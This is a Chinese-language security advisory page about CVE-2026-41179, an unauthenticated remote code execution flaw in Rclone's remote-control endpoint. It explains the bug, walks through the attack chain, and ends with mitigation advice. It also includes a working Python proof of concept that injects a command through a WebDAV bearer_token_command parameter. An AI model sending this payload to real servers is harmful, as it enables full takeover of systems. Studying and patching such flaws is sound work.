IPBUF安全漏洞报告
English
CVE-2026-41179 CVSS 9.8 严重

CVE-2026-41179 Rclone 未经身份验证远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41179
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rclone

相关标签

RCERcloneCommand ExecutionWebDAVAuth BypassCritical

漏洞概述

Rclone是一款广泛使用的命令行文件同步工具。在1.48.0至1.73.5之前的版本中,其远程控制(RC)端点`operations/fsinfo`被发现存在严重的安全缺陷。该端点未强制要求身份验证,且接受攻击者控制的文件系统参数。利用该漏洞,未经授权的攻击者可以通过特制请求实例化恶意后端,并在服务器上执行任意系统命令,从而完全接管目标系统。

技术细节

该漏洞的核心在于Rclone远程控制(RC)接口对`operations/fsinfo`端点的处理逻辑存在缺陷。首先,该端点默认未配置`AuthRequired: true`,允许未经身份验证的匿名访问。其次,`rc.GetFs(...)`函数支持通过字符串参数动态定义后端,即内联后端。攻击者可以利用此功能,在请求中指定WebDAV后端,并传入恶意的`bearer_token_command`参数。当Rclone尝试初始化此WebDAV后端以获取文件系统信息时,会自动执行`bearer_token_command`指定的系统命令。由于整个过程未经过权限校验,攻击者仅需发送一个HTTP POST请求,即可在服务器端实现无交互的远程代码执行,获取最高系统权限。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,发现开放的Rclone远程控制(RC)端口(默认为5572)。
STEP 2
2. 构造恶意请求
攻击者构造一个HTTP POST请求,目标指向`/operations/fsinfo`端点,并在`fs`参数中嵌入包含恶意`bearer_token_command`的WebDAV后端定义。
STEP 3
3. 发送利用载荷
攻击者将恶意请求发送至目标服务器,由于端点未启用认证,请求被成功接收。
STEP 4
4. 执行命令
Rclone尝试解析并初始化请求中定义的WebDAV后端。在初始化阶段,`bearer_token_command`指定的系统命令被服务器执行。
STEP 5
5. 获取控制权
攻击者成功在服务器上执行任意代码,可能导致数据窃取、服务中断或进一步提权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Exploit for CVE-2026-41179 # Target: Rclone RC server (default port 5572) # Description: Sends a request to operations/fsinfo with a malicious WebDAV backend config # to execute a command via bearer_token_command. def exploit_rclone(target_ip, target_port=5572, command="id"): url = f"http://{target_ip}:{target_port}/operations/fsinfo" # Construct payload using inline WebDAV backend definition # The 'bearer_token_command' parameter is executed during backend init payload = { "fs": f"webdav,url=http://127.0.0.1,bearer_token_command={command}" } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent successfully. Check for command execution.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "192.168.1.100" cmd = "touch /tmp/pwned" exploit_rclone(target, command=cmd)

影响范围

Rclone >= 1.48.0, < 1.73.5

防御指南

临时缓解措施
如果无法立即升级版本,请务必在启动Rclone时配置RC用户名和密码(使用`--rc-user`和`--rc-pass`参数),或者将RC服务绑定到本地回环地址(127.0.0.1),并确保不向公网暴露RC接口。此外,可在边界防火墙上阻断外部对默认RC端口(5572)的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表